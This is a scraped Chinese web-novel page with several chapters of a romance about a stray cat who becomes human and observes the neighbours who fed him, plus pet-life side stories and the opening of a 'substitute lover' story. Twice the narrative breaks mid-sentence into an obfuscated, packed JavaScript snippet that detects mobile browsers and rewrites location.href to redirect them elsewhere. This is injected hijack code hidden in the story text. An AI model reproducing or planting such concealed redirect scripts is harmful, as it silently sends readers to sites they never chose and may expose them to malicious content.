到那家服装店门口的时候他还穿着从垃圾桶里翻出来的破洞短裤和破洞老头衫,见他这样,店员差点都要以为他是从哪里逃荒过来的了。 顾棠很有礼貌的没有进去,只是规规矩矩的站在门口等着店员小姐姐拿着一件件衣服在往他身上比量着,随便选了两件给了钱提上袋子之后又找了个没人的小巷子换好衣服。 变成人类后,喵语会自动转化成人类的语言,虽然顾棠还是不会写字,但是他可以用一些小符号表达自己的意思,记在本本上,方便他事后做总结归纳。 * 那只小猫已经一周多没来了。 夏予臻和夏予槐的父母出国谈生意去了,要一个月才能回来,走之前把刚好大一放假回来的夏予槐送到了哥哥家。 夏予槐性格比较孤僻,平时也总是独来独往的,和亲戚朋友都不亲近,只有在面对父母和兄长才会稍微放松一点,但到哥哥家之后他也并没有在这儿长住的打算。 夏家家庭阔绰,在A城有好十几栋房产,夏予槐名下也有两栋。 至少在撞见那个趴在栅栏上偷看自己的小猫之前他都是打算搬到其中一栋里面随便凑合凑合的。 他已经留在这里一周了,哥哥和嫂子对他都很好,没有让他感觉到一丝不自在和疏离感,但是哥哥嘴里总是提到的那只小猫却一直没出现。 这天,夏予槐刚晨跑结束就感觉身后多了一道炙热的目光,那人好像不会遮掩,直勾勾的盯着自己,就像一点也不怕被发现似的。 世界上怎么会有这么愚蠢的偷窥狂? 虽然心里十分无语,但是夏予槐还是一记冷眼瞪了过去——正对上对方的一双圆溜溜的琥珀色猫眼。 那双眼睛是真的很像小猫的眼睛。 清澈,明亮,里面像是流淌着甜蜜的糖浆,柔软的暖色调看的人心里也跟着发软,不由自主的想接近他,摸摸他的头… 看看那柔软的发丝里是不是真的藏着两只粉粉嫩嫩的小猫耳朵。 拥有这双漂亮到不像话的眼睛的少年丝毫没有被他的眼神吓退,反而往前凑了凑,微仰着头,小脸微皱。 12. 猫猫的人类观察手册(下) 这是在…干什么? 是要邀请自己摸摸他的头吗?夏予槐的喉结不自觉的滚动了一下,右边的虎牙微微用力,在唇上留下一个不深不浅的咬痕。 能看得出来,他在极力克制着不想吓到眼前这名少年。 “你好,你也是这里的住户吗?”他扬起一抹笑主动打破了两人间尴尬的沉默。 少年眨巴两下眼睛看着他,随后又低下头在手里的本子上哗啦哗啦的写着。 [x月xx日晴,被陌生人类的搭讪了,这是本首领自从以人类形态到达人类世界后第一次被陌生人类搭讪!激动!故作此记录。] “…那个…你在记什么?”被晾了好一会儿,夏予槐用舌尖抵了一下上颚。 顾棠摇摇头表示不能说,但出于礼貌还是很友好的冲他露出一个灿烂的笑来。 错了!他想露出的是人类总会在应该说对不起的时候露出是那种不好意思的笑,但是对面部掌控的不熟悉让他一个用力过猛,笑容幅度比预期的大了许多。 但是看眼前知名人类的反应,好像并没有什么影响。 “咳…你是不会说话吗?”夏予槐耳尖通红,近乎狼狈的撇开了眼,但是又忍不住悄悄转回头看他。 这个人类真的很没有礼貌。 顾棠一愣,随即抬头眼神不善的瞪着他,“你才不会说话!” “原来会说话啊…那可以加你个联系方式吗?” 夏予槐掩饰性的拿脖颈上挂着的毛巾擦了擦脸颊滚落的汗珠,拿出手机在对方眼前晃了两下。 顾棠两个瞳孔骤然缩成了针尖般大小,手指蜷缩起来,差点没忍住伸手扒拉。 …顾棠!你到底在想什么啊?这家伙手里的是手机啊,你以前见过的,并不是逗猫棒一类的东西…不要再发癫了好吗? 闭上眼睛平复了一会儿,顾棠从口袋里掏出长老赞助的手机,点开微信,扫上夏予槐手机屏幕里的验证码。 夏予槐收回手,在屏幕上点了两下,一条好友验证通过的提示就弹了出来。 “你的名字?我备注一下。” “顾棠。”备注就是聊天框最顶上那玩意!他知道的。 这点小名词可难不住他,他可是专门拜读过长老们编撰的《人类研究学》的! “我叫夏予槐,现在就住在小区门口的这户,你…以后可以来找我玩儿。” 这要是被他从幼儿园到大学的同学撞见都要当做他是被夺舍了。 夏予槐在别人面前哪有过这么开朗的时候?还主动跟人打招呼、主动叫人家来家里玩…更是不可能的事情。 顾棠“嗯”了一声,抱着本子和手机慢慢走远了。 他的人类观察手册里应该包含这个世界上大多数职业的人才对,不能在一棵树上吊死。 而且对于每个人一天只观察一次就够了,人类的思维总是包罗万象,每时每刻都在变化着的,观察一个人时间长了会影响顾棠的观察手册里每一条指南的准确性的。 但是主要的观察对象还是他熟悉的这几个人类。 他现在变成了人形,也能开口说话了,说不定还能深入了解一下那几个人呢,比如说…作为朋友被邀请回家? 观察人类的起居状态也是他目前的一门必修课。 话说他在一本不入流的小说里看过这么一句话,“想抓住一个男人的心就先抓住他的胃”,顾棠想着自己现在姑且也算是个男人…吧,那他…岂不是早就被茫茫多的人拿捏过了? 他都快要数不清自己已经吃过多少家的猫猫饭了。 顾棠应聘了小区里的夜间保安一职,给他分配的“员工宿舍”就在保安亭里,他就不用再去外面找房子住了,还能方便观察高质量人类,祖老给的钱也省下了一大笔,一箭三雕。 而有了闲下来的钱就意味着他再也不用每天去蹭小区里居民的饭了!猫猫的猫格站起来了! 猫猫都是白天睡觉晚上出来行动的,顾棠之前也一直保持着这个习惯,但是变成人类后似乎一到晚上他就特别的困,同时,脑子里作为猫的那一部分猫格又在支撑着让他晚上根本无法进入睡眠状态。 这种常人无法理解的痛苦一直困扰着顾棠,让他第二天一早神经都有些错乱了,差点没对出小区门儿的住户“喵呜”出声。 头顶那个和制服搭配的帽子已经不知道被丢到哪里去了,少年顶着一头小卷毛睡眼惺忪的冲他敬礼,真让人怀疑他下一秒会不会迷糊到一头撞在地上。 等等…对方头上这个,是耳朵吗?是耳朵吧! “…你叫什么名字?我要给你好评。”方应宸吞了吞口水,眼神艰难的从少年头顶那对耳朵上移开,艰难的开口问道。 “顾棠!”听见他要给好评,顾棠一个激灵清醒了过来,下意识站的笔直了些。 顾棠以为方应宸会像普通小区里的居民那样往业主群里发一条对他的实名夸夸,但是并没有。 他眼睁睁的看着这名普普通通的青年拨了个号码出去,对电话另一头的人交代了几句话,不仅提到了给他升职,还提到了涨工资的事情…这是好评吗?这个男人是什么人? 这天,顾棠懂得了一个道理,那就是不能以貌取人。 虽然眼前这名青年长相帅气但穿着一点都不讲究,但是他以后也不会随随便便把别人当成不好的人了! 口袋里的手机震动了两声,顾棠掏出来一看,聊天框里弹出了两条物业经理发来的消息,一条是说要升他为保安队长,第二条是说每个月工资涨到7000。 顾棠攥着手机的手都是抖的,头顶两个耳朵还很形象的抖了抖。 “谢…谢谢先生。”顾棠冲他弯了弯腰,但幅度远远没达到鞠躬的程度。 方应宸倒是不在意的摆摆手,眼神一直盯着他头顶,“好说…你这个,能摸吗?” “啊、啊?”顾棠呆呆的张大了嘴巴。 方应宸飞快的伸手揉了一把他的耳朵尖尖,等顾棠反应过来的时候他已经把手又重回插回了兜里,只不过眸光似乎变得更炙热了。 “竟然还是热的…这是什么高新科技吗?这个耳朵触感很像我之前喂过的一只小猫,我很喜欢…可以告诉我是在哪儿买的吗?” 明明方应宸脸上的表情很正经,但是顾棠就是觉得现在的他很可怕,甚至不自觉的往后退了一步,和他拉开了距离。 救了猫命了…真是流年不利,变成人的第二天就被刚刚还向他展示过善意的恩人非礼了。 “不愿意说吗?那还真是可惜了…不过没关系,我明天还会来找你聊天的,再见,棠棠。” 方应宸眸中划过一抹遗憾,见他不想说便不再靠近,而是由着他的意思转身默默走开了。 真的很像啊…他已经有好多天没有在小区里见到那只小猫了,也不知道他到底去哪儿了,有没有冷到,有没有饿到,有没有被其他猫欺负… 啧,早知道当时就强制收养他好了,省的现在还要为那小家伙担惊受怕。 真是闲的。 他走后,顾棠匆匆回了一趟保安亭,翻出来保安制服里配套的那顶帽子戴在头上,把头上那对耳朵遮的死死的。 已经有白天值班的来和他换岗,顾棠像模像样的和那人对着敬了个礼就欢呼着回到保安亭换下保安服,拿上小本子跑小区里蹲人去了。 说起来好久没见过顾家隔壁那栋别墅里的男人了,顾棠咬了咬笔杆,决定现在就去走一遭。 他对那个男人的印象很深刻,不仅仅因为对方总是一年四季裹着厚厚的衣服,漏的最多的就是藏在袖子里的苍白双手和有风吹动间偶尔能看见的阴郁双眸。 看起来不像是好相处的样子,但是却很善良的在顾棠来这里第一天就投喂了他。 从那天起,顾棠记住了那个男人,每天晚上定时到他家楼下蹲点半个小时,直到喂他的人越来越多,多到他顾不过来才慢慢减少了去那男人家门口频率。 顾棠是很有良心的小猫! 小区的绿化很不错,卫生打扫的也很干净,顾棠就算蹲在草丛里也不会弄的浑身脏兮兮的,他很满意。 [x月xx日晴,事件一:早上见到了曾经喂过我的好心人类,但是那个人对现在同样身为人类的我缺乏礼貌,没有经过我的同意就伸手摸了我的耳朵!我要开始讨厌他了! …但是我是个善良的猫猫人,他还促成了我的升职加薪,我就勉强原谅他好啦。] 写着写着,顾棠就开始幻想自己能在发工资后去宠物店买罐罐的美好未来了,连眼前站了个人都没发觉。 这警惕心没救了,迟早被人卖了。 “你,站在我家门口干什么?” 池暮低垂着眸子看着绿化带里趴着的少年,漆黑如墨的瞳孔微微收缩,仿佛看到了什么不可思议的事情一般。 「是他!好久没见他了,他还是穿这么多啊,不嫌热吗?他一直看着我干什么?难道是因为我表现的很奇怪吗?没有吧…明明所有人都没有看出来我不一样,凭什么他能看出来呀?肯定是我想多了。」 脑子里一片叽叽喳喳的悦耳少年音让池暮愣了半天。 他从小到大都很不正常,因为他很小的时候就知道自己能听到那些小动物的心声,就因为这种特异功能,从小没有小朋友和他玩儿,他把所有人都当做怪人看待,就连父母都因为不理解他的特立独行,丢下他,两人一起去外国发展了。 池暮不是什么同情心泛滥的人,因为小时候的遭遇,他甚至有点儿恨自己这个能力,连带着对那些总是在他脑子里自说自话的一众小动物也讨厌了起来。 他会搬到这个小区也是因为小区环境好,也没有人养些猫猫狗狗什么的,很清净——直到这只那为什么被放进来的流浪猫的出现。 刚见面的时候这小东西缩成一团瑟瑟发抖,但是好巧不巧的是那天晚上下了暴雨,没有人能听到小家伙似有似无的可怜叫声,也没有人会无缘无故在雨天出来散步,也就没有人第一时间发现他。 池暮当时已经有好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222526|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长一段时间没被动物的心声吵到失眠了,所以在听见一个中气十足的少年音在自己脑子里暴躁的咆哮声时他下意识堵住了耳朵。 不过这掩饰性的动作并不能阻挡那个清涩透亮的声线穿透他的脑膜,把他的神经系统震得瑟瑟发抖。 真的很吵,非常吵,完全想象不到是个什么样的生物自己一个就能发出这么吵的声音。 在一片“饿饿饿要饿死了”“好冷啊啊啊”“有没有好心人类能救救本大王”的哀嚎声中,池暮面无表情的从厨房冰箱里翻出一根快要过期的火腿肠,然后穿好衣服带上一层厚厚的口罩出了门。 怕被雨水浇透,他特意穿的厚底鞋,淅淅沥沥说雨声中那小小的呜咽声真的很难察觉,但是出于对今晚能安稳睡着的病态追求,池暮还是撑着伞在自己家周围找了一圈儿又一圈儿。 最终,他在靠近车库那边的草丛里发现了那个小小的白色的一坨东西。 那是一坨…猫吗? 池暮沉默的盯着那小家伙看了一会儿,然后撕开火腿肠的包装放在地上,又把手里的伞插进小家伙斜下方的土里,最后,解下了自己脖颈上缠着的毛线围巾,把围巾围到了小猫湿漉漉的身体周围。 要他把这只不知道有没有病的流浪猫带进家里简直比杀了他还让他难受。 池暮轻轻吐出一口气,冒着雨几步跑回家,最后看了一眼孤零零在风雨中飘摇着的小猫,他砰的一声关上了门。 思绪回笼,池暮眸光一闪,看像顾棠的眼神顿时有些怪异起来。 所以眼前这个看起来年龄并不大的柔弱少年…竟然是只猫妖吗? 和一只猫突然变成人相比,池暮突然觉得他那点特异功能根本算不上什么了。 顾棠抬头飞快的看了他一眼,马上又低下了头,声音糯糯道。 “对不起,外面太冷啦,我来避避暑…不是不是!我…我取暖!” 顾棠从草丛里站了起来,疯狂摇头,眼睛里充满了惊慌的情绪,似乎还隐隐闪过了泪光。 人类的语言好复杂,短短两三天并不能支撑他语言系统完全转换过来…所以说该认识的词都认识,但是拼到一起的意思却…总有一知半解的时候。 池暮撇了一眼天上高悬着的太阳,又想起了自己的穿着,对这个小猫妖竟然还产生了一种类似同情的情绪。 看来“它”和自己一样怕冷。他又想起第一次见面的时候顾棠缩在绿化带里瑟瑟发抖的样子。那当时“它”该有多冷啊。 啧…有点可怜。 “要和我回家坐坐吗?我家就在你身后,很近的。” 池暮朝草丛中的少年伸出一只手,他整张脸都被口罩遮挡住了,只露出冷淡的眉眼,但是眸底的冷漠却散去了些。 池暮哪怕上了大学都没什么朋友,他一辈子都被人当成怪胎,慢慢的他的心理也发生了变化。 凭什么他就要被别人当成怪物?他也不喜欢和这帮普通人做朋友,这些人不配。 但是眼前这个少年可以。他们也许能够成为很好的朋友。 顾棠当然知道时候就是他的家,他疑惑的是为什么对方要邀请自己回家,是不是抱着什么不可告人的目的!比如说已经知道了他的真实身份,要把他抓起来搞科研! “不用了,我就在这儿待着挺好的。”顾棠推开了他的手,拍了拍身上的灰又坐回了草丛里。 池暮在原地站了一会儿,然后回房间拿了一把椅子出来,把椅子放在草丛面前,在正对着顾棠的方向坐下了。 没关系,反正这一大片绿化带全都是他家的范围,怎么能不算是请朋友到家里玩儿了呢? “我叫池暮。”他等了一会儿,半点也不见眼前的少年有抬头看他的意思。 “你叫什么名字?现在住在什么地方?以后我该去哪里找你?” 不是…哥们,你在这儿□□呢? 顾棠不明所以的抬头看了他一眼,提笔在本子上刷刷的记着。 「事件二:人类对猫猫很友好,但是有时候对同类不是那么友好!还有,人类的好奇心真的很强!变成人类以后并没有觉得对了解人类有多大帮助,over。」 “我在小区里当保安,你以后可以去保安亭找我。” 这种事情是瞒不住的,他主动说出来可能还会让这个人类看到自己的真诚,连带着以后对自己也善良一点。 迟暮眼前一亮,连连点头,“嗯,好…” 他话音还未落,就觉得自己脑海里突然闯进了少年略带嫌弃的青涩嗓音。 「可千万别来找我,我妈不让我和陌生人类玩儿,就算你曾经给过我半根火腿肠也不行,非我族类其心必异!」 能听见他心声的池·陌生人类·暮一脸懵逼。 他怎么就成陌生人类了?这小猫精原来是这么想他的吗? 还“非我族类,其心必异”…这小猫想当封建领主吗? 迟暮默默把伸出去想摸摸他脑袋的手收了回去。 [正文完] 13. if线:猫猫形态被养日常 1.自动喂食器(夏予槐) 怕自己某天忘了按时喂顾棠,夏予槐特意在网上买了个自动喂食器,于是他就有幸能每天见到以下画面—— 机子里“哗啦啦”一声响,下面的猫碗里就掉落了大半碗猫粮,又是“咔咔”的两声响,猫粮上面又盖了一层块状的冻干。 没等喂食器停止运作,客厅就响起一阵脚忙脚乱声,下一秒,厨房门口就有一个四肢各走各的小猫嗷嗷叫着冲了进来,趴在猫碗边上来了一大口,嘴巴里塞的满满的嚼嚼嚼着,甚至一只爪子都伸进了碗里,用爪子往嘴里扒拉冻干。 好像一个没见过世面的小猫…但是…救了他猫大命了,他家棠棠也太可爱了叭! 食欲还这么好,一看就是会长命百…20几岁的小猫! 猫猫的寿命好像最多才二十几年…但是没关系,他只要在棠棠还健健康康的,活着的时候好好对“它”就好了。 虽然这么想着,他心里还是难免有些不是滋味。 夏予槐强忍住心里的情绪,拿出手机一阵拍,看着照片里翘着尾巴把头埋进猫碗里干饭的小家伙,他捂着嘴,觉得自己都要幸福的晕过去了。 夏予槐在他身边坐下,于是顾棠一甩一甩的尾巴就一下一下的抽着他的大腿,没一会儿就在他腿面上留下了一道道新鲜的红痕。 倒是不怎么疼,就是感觉很奇怪,毛茸茸的尾巴竟然能有这么大的劲儿…莫名有点瑟瑟的。他想。 夏予槐忍不住虚虚握住顾棠的尾巴根,但很快就被恼羞成怒的小猫一记冷眼瞪的赶紧松开了手。 尾巴处那种被禁锢的感觉不见了,顾棠才得意的甩甩尾巴,又把头埋进了碗里哼哧哼哧的嚼着猫粮。 碗里的猫粮很快就见底了,顾棠还在可怜巴巴的伸着小舌头一下一下的舔着碗沿,刚才还精神的抖动着的耳朵此刻也落了下去,整只猫都看起来蔫蔫的,没有什么精神。 夏予槐从上锁的柜子里拿出一根猫条,这次又是和刚才一样,刚拆开封就感觉眼前一阵风刮过,下一秒,顾棠就已经两只小猫爪踩在他袖子上等着他投喂了,小脑袋还一直往他胳膊上蹭,跟撒娇似的。 小猫撒娇简直就是世界上最萌的事情没有之一!夏予槐撸了两把猫猫头,把猫条递了过去。 顾棠舔舐猫条的时候会发出啊呜啊呜的声音,还会时不时舌尖舔过夏予槐的指尖,他忍不住换了只手喂顾棠,同时捏了捏自己发麻的耳尖。 饭后小零食也很快见底,顾棠把空袋子咬了好几个洞才意犹未尽似的舔舔爪子跑到客厅自己玩去了。 夏予槐把空袋子卷吧卷吧扔进垃圾箱,惆怅的叹了口气。 每次都是这样,吃完零食就翻脸不认人了,连装都不带装一下的,他家惯爱见风使舵的小猫。 但过了一会儿,他又憨憨的笑了起来。 想那么多干嘛?不管怎样棠棠在他心里就是世界上最最可爱的小猫!现在他要给世界上最可爱的小猫去喂水了。 2.会撒娇会夹子音会抓老鼠?(方应宸) 方应宸以前觉得自己家的猫这么会撒娇,一定是只流浪猫… 但是自从那天看到在家看起来柔弱娇软的小猫张牙舞爪的叼着只不知道从哪抓来的老鼠在小区里显摆后,他就深刻的意识到了自己当时的想法有多么错误。 这哪里是什么被抛弃过的小流浪?明明是个土生土长的小野猫,至于为什么这么会撒娇…可能跟那些流浪猫相处太多了? 不怪方应宸会认错,看看顾棠在家的状态就知道了。 吃饱了的顾棠会找个能晒得到阳光的地方趴着,还是以四脚朝天的姿势,露出白白软软的肚皮和4个粉粉的小爪爪,让人恨不得把脸埋进去深深吸一口。 每日的逗猫棒训练是方应宸坚信顾棠曾经是只家猫的又一点原因。 谁家野猫会变“啊呜啊呜”着冲刺边扑错方向啊?这么呆萌的样子真能捕到猎?谁信,反正曾经的方应宸是不信的。 第三点就是每天睡觉都要挤进他被窝趴在他胸口上,两只爪子在他胸/前一前一后的踩上半天才能安安静静的睡着…这能不是家猫? 回想一下曾经的美好时光,方应宸又将眼神投向门口得意洋洋高昂着头向他展示抓到的大老鼠的猫猫。 “乖,棠棠,松嘴。”看着顾棠嘴里四肢抖动的老鼠,方应宸默默举起了鸡毛掸子。 他想的是捏住顾棠的腮帮子把他嘴里的老鼠掏出来,但是又实在不想碰那东西,思量了片刻,准备拿鸡毛掸子把老鼠打落,但是顾棠可理解不了他的举动。 被他的气势吓到,顾棠浑身的毛毛都炸了起来,丢下老鼠撒开四条腿就往外面跑,几息之间就窜没了影。 方应宸懵逼的和门口那只被放下来的老鼠对视了半秒,然后同时向门外冲去。 小家伙可别迷路了找不到家!他也真是的,干嘛要凶棠棠啊!吓坏了回家自己还得哄。 好在最后还是把猫找了回来,就是不知道他下回还会不会偷跑出去抓些奇奇怪怪的东西回来…如果下次带回来的是条蛇该怎么办?方应宸想想都觉得受不了。 方应宸回到家后连夜把家里的门换成了防盗门,窗外面加了一层防盗网,就差没冲到楼顶把烟囱堵上了。 他就不信这样还能让顾棠再悄无声息的偷溜出去逮老鼠! 他气势汹汹的放下锤子,转头看向缩在门后看他的小猫,调整了一下脸上的表情,冲小猫伸出手。 “来,乖乖,爸爸带你去好好洗洗你的嘴子和爪子好不好呀?” 顾棠却没动地方,只是用圆溜溜的猫眼幽怨的瞪了他一眼,摇着尾巴跳上了他的床,缩成一团装睡。 方应宸扒在门框上看着他的睡颜久久都没有离去,但很有眼色的没有去打扰。 “…真是只小懒猫。” 这句话飘散在空气中,也不知有没有落到床上的小猫耳朵里。 3.幼猫养成实录(池暮) 在学校绿化带里捡到一只眼睛还没睁开的小猫该怎么办? 迟暮盯着地上那团黑乎乎的小东西看了一会儿,然后一把抄起装进了自己书包里。 当然是先带回家再说。 养了半个多月小猫才睁开眼,迟暮很新奇的捏捏这里捏捏那里,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222527|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像找到了什么新玩具似的。 他从小到大都没什么朋友,也从来没养过宠物,这十几天以来,每天都要在百度上问好多问题,比他一年加起来问的都多。 诸如:还没过满月的小猫能喝羊奶吗、没过满月的小猫会用猫砂盆吗、没过满月的小猫能认出主人吗……池暮觉得自己一个头要有两个大了。 看着把整个小脑袋都埋在羊奶里的顾棠,池暮蹲在他面前把他的脑袋从碗里拯救出来,又重新扶好他,让他趴在碗沿上。 问:小猫把脸埋在碗里会不会被奶淹死?池暮手指在手机上滑动了两下,又一个问题发了出去。 得到的回答是:很少,但也有可能。于是迟暮就每天尽心尽力的看着顾棠喝奶,生怕他因为太贪吃把自己淹死。 长大了一点的顾棠总喜欢躲在角落里,也不叫,也不乱咬东西,坐在那儿不是舔爪子就是默默盯着他。 有时候迟暮会有一种他是在观察自己的行为一般的感觉。 迟暮有时候也想拿东西逗逗他,但是顾棠却从来都只是默默的盯着他,看着他自娱自乐的划拉着逗猫棒,却从来没顺着他的心意扑过来想抓住。 顾棠是不喜欢这个玩具吗?池暮停下了动作,手指又摸向了手机。 “是不是不是所有猫都喜欢逗猫棒的?玩多了逗猫棒的小猫会不会变成弱智猫?小猫是不是有危机意识?” 一转眼,又5个月过去了,小猫完全长开了,看样子是只小狸花,池暮也放了暑假,有更多时间可以照看小猫了。 顾棠不知道什么时候染上了喜欢咬纸壳箱子的爱好,迟暮就把平时拆快递拆出来的纸壳箱子都堆到一个房间里给他留着咬。 顾棠前面那两个尖尖的牙已经快成型了,就像一枚订书器一样,咬进纸壳箱子里的声音很脆,看着很解压。 顾棠总是喜欢整只猫缩进箱子里,然后露出头,张开嘴把牙齿刺进纸壳箱子里,把牙拔出来,然后往旁边挪一下,再刺进去,再拔出来… 迟暮又忍不住去网上搜索“小猫咬纸壳子会不会把牙崩掉”。 他这半年里断断续续的奇怪问题吸引来了一群喜欢看热闹的网友,整天等着他发帖,然后在下面评论。 但在那群人围观了快一周年的时候,池暮就没再更新过了,有很多人跑到他主页上面私信,但都没有得到他的回复,又过了几天,迟暮直接销号跑路了。 他草稿箱里还停留着最后一个没发出去的问题。 “想带发情期的小猫去做绝育,但是小猫突然变成人了怎么办?” 还能怎么办?既然这个问题没有发出去,那他心里肯定是已经有了决断,说不定已经付诸行动了。 半夜,池暮从睡梦中惊醒,下意识摸了摸身旁的位置,感觉到手指陷进了一片温热中才稍微松了口气。 他家小猫还在就好。 迟暮刚才梦到小猫又变成人了,还用圆滑的指尖一直在他身上挠,边挠还边暴躁的冲着他的耳朵气愤的喊叫。 “我不喜欢你换的新粮,回去麻溜给我换了知道不?要不然我就整天缠着你,让你睡不好觉!嗷呜!” 14. 反套路替身攻,但修罗场(上) 已经晚上10点多了,许嘉粤那狗东西还是没回来。 顾棠支着下巴坐在桌前,精致的眉眼间有股掩盖不住的忧愁。 面前是整整一大桌子的菜,他却一口都不能吃,只能等着那个不知道今晚还会不会回来的男人…nmd,所以他到底还回不回来?不回来就不能吱个声吗? 顾棠现在真的很饿很饿,他很怀疑如果再忍一会儿,他就要出现幻觉把手下拄着的桌子当成大列巴啃一口了——虽然他打心底里很讨厌这种硬邦邦的食物。 中午吃饭的时候那狗男人突然像中了邪似的盯着饭碗发呆,随即面色一变就撂下筷子出了门,不知道跑哪儿去了,一直到大半夜了都没回来。 家里的保姆阿姨有点看不下去了,从每个盘子里剥出来一点儿,又给他盛了满满一碗饭。 “好孩子,快吃吧,别饿坏了,许总那边我会跟他解释的。” 保姆阿姨把热好的饭从微波炉里拿出来,端到顾棠面前,又给他递了双筷子。 顾棠看了一眼正一脸担忧看着自己的阿姨,又看了一眼桌上的菜,半晌,红着眼眶大口吃了起来。 这个世界还真是不公平。 顾棠边想边把盘子往女人那边推了推,抽噎着,“呜呜…阿姨你也吃,我们不等他了!” 保姆阿姨笑着摸了摸他的头,那笑容里却有几分心疼和惆怅,“没事儿,你吃吧,再有半个多小时我就要下班了,我回去吃…你好好照顾自己,要是许总做的太过分了就不要忍着了,你还小,以后还有很多发展的机会呢,不要做太多让自己后悔的事。” 听着女人在自己耳边絮叨了起来,顾棠腮帮子塞的鼓鼓的,瞪着眼睛胡乱点了点头,心里却一点没把她的话放在心上。 他以后还有发展机会的可能性是建立在他有学历的基础之上的,但是他…他根本就不知道自己这种人到了社会上又能干什么,要体力体力没有,要脑子脑子也没有,就连工地上搬砖都不用他这种小废物的好吗? 他是孤儿,从小都没好好上过学,因为校园暴力磕磕绊绊的念到初中就不念了,等他16岁可以打工的时候就找各种地方赚钱,被无良老板坑过几次,然后在去年到一所大学里面送外卖的时候遇见了许嘉粤,被对方包养了。 顾棠可不相信什么一见钟情,他也懒得去想许嘉粤一眼看上自己的原因,他只知道自己的生活比以前好多了。 待在许嘉粤身边有什么不好?能住这么大的房子,能有很多漂亮衣服和首饰,还能每个月得到一大笔钱…等到许嘉粤不需要自己的时候他就可以水灵灵的卷钱跑路了,一点心理负担都没有。 顾棠不觉得自己这种想法有什么不对,各取所需,不是吗? 就像眼前这个阿姨,在许家当保姆得到的工资要比其他地方多了好几倍呢,有什么不好呢?也没什么好抱怨的。 但是顾棠知道人家是为自己好,也不会昧着良心反驳。 吃饱了的顾棠主动跑到厨房把自己的碗筷刷了,收拾干净后顾棠和保姆阿姨坐在客厅里聊了起来。 像是突然想到了什么,顾棠两只眼睛弯成了小月牙,“对了阿姨,你明天早上不用来了,我想亲手给许先生做早饭。” 女人看着他欲言又止,最后深深叹了一口气,答应了下来,看向他的眼神更慈爱了,就好像在看一个失足少年。 指针落到了11点整,女人也收拾好东西走了,屋里只剩下他一个人。 顾棠扒着窗帘看着女人的身影逐渐消失在道路尽头,他终于舒了口气,整个人都放松了下来,摊在沙发上一动不动。 一天接一天的演戏,再加上许嘉粤随机的亲密接触…谁受得了?他觉得自己这钱拿的…还是有点技术含量的。 半夜,许嘉粤不知道发了什么疯,突然打过来了电话,顾棠接起来的时候整个人都是懵的。 “你…你还没睡吗?不用等我了,我今晚不回去了,你好好照顾自己。” 对面似乎有些紧张,平复了一下心情才接着说道,说完还不等顾棠有所反应就挂断了电话,没有给顾棠一丝开口的机会。 “…我可真去你的吧。” 这狗男人。明天早上最好别回来吃早饭,要不然…呵。 顾棠烦躁的抓了一把头发,眯着眼睛就想把手里的手机扔出去,但临半道又后悔了,把手缩了回来。 他心里骂骂咧咧的抱着手机往卧室走,阴沉着脸走到床边掀开被子躺进去。 没一会儿,被子里就传来了他均匀的呼吸声。 * 许嘉粤站在灯光绚烂的酒吧门口,看着手里手机上显示着挂断的界面发呆。 “他回房间睡了吗?”他突然开口,也不知道是在跟谁说话。 「嗯。」系统很言简意赅的回答。 系统很不能理解,为什么面对任务失败的死亡威胁时都能面不改色的许嘉粤会每天关心任务对象会不会感冒这种小事。 他给许嘉粤布置的任务是在白月光回来之前保持每日虐替身一次,虐心值达到一定的标准才能达标。 “你说他以后还会原谅我吗?”许嘉粤靠着墙点燃了一支烟,看着烟雾一点点弥漫在夜色中,眼神也跟着迷离了起来。 「会的。」 毕竟是剧本强制机制,一个区区的npc是没有本事逃离剧本的束缚的,不计过程,那个替身和他这个宿主最终一定会走到一起,达成he。 许嘉粤不说话了,只是愣愣的看着烟一点点燃尽,然后恍然回过神来,转身回了酒吧。 包厢里一阵喧闹声,酒精味和一股不知名的香味混合起来,男男女女在酒精的熏陶下肆意挥发着自己的魅力,混乱的样子让他很不适应。 他讨厌这个世界,也讨厌自己身边的一切。现在唯一支撑他活下去的就是未来能和顾棠正大光明的在一起了。 “许少,来,喝酒!” 身旁的“好友”递给他一杯酒,和他碰杯后一饮而尽,许嘉粤面无表情的盯着杯中激荡的酒液,面无表情的喝了一口。 他不明白为什么老天要这么捉弄他。 他从小就对女生不感兴趣,也不怎么喜欢交朋友,大学时好不容易看上一个小男生,刚加上联系方式没来得及告白就被这个自称是系统的家伙产生了,非要他和人家玩虐恋情深的套路,他做不到就要抹杀他。 对方还自以为是的给他选出来一大堆狐朋狗友,还让他每天来酒吧装自甘堕落,等着顾棠来救赎…讲真的,再这么过几天,许嘉粤都要觉得自己配不上顾棠了。 可是许嘉粤真的很想活到和顾棠在一起的那天,好在这系统只是让他每天言语刺激一下顾棠,每次他说完狠心的话都要哄很久才能让顾棠红着眼眶委屈巴巴的重新投入自己的怀抱。 顾棠真的是很乖的一小孩,被自己一次次冷暴力和恶语相向,但从来没真生过气,最多就是自己委屈巴巴的缩进房间里,可能还偷偷哭了?许嘉粤不知道。 许嘉粤从小就铁石心肠,很少觉得一个人可怜,但每当这个时候,他就会觉得顾棠很可怜。 他恨透了系统,可是对他每日推送过来的任务又毫无办法,甚至于背地里找了无数医生、大师都没能把这东西从自己意识里抹除,许嘉粤已经近乎绝望了。 但今天一大早,系统突然在他脑海里说今天是他白月光回国的日子,过了今天,他就可以毫无顾忌的和顾棠表明心意永远在一起了。 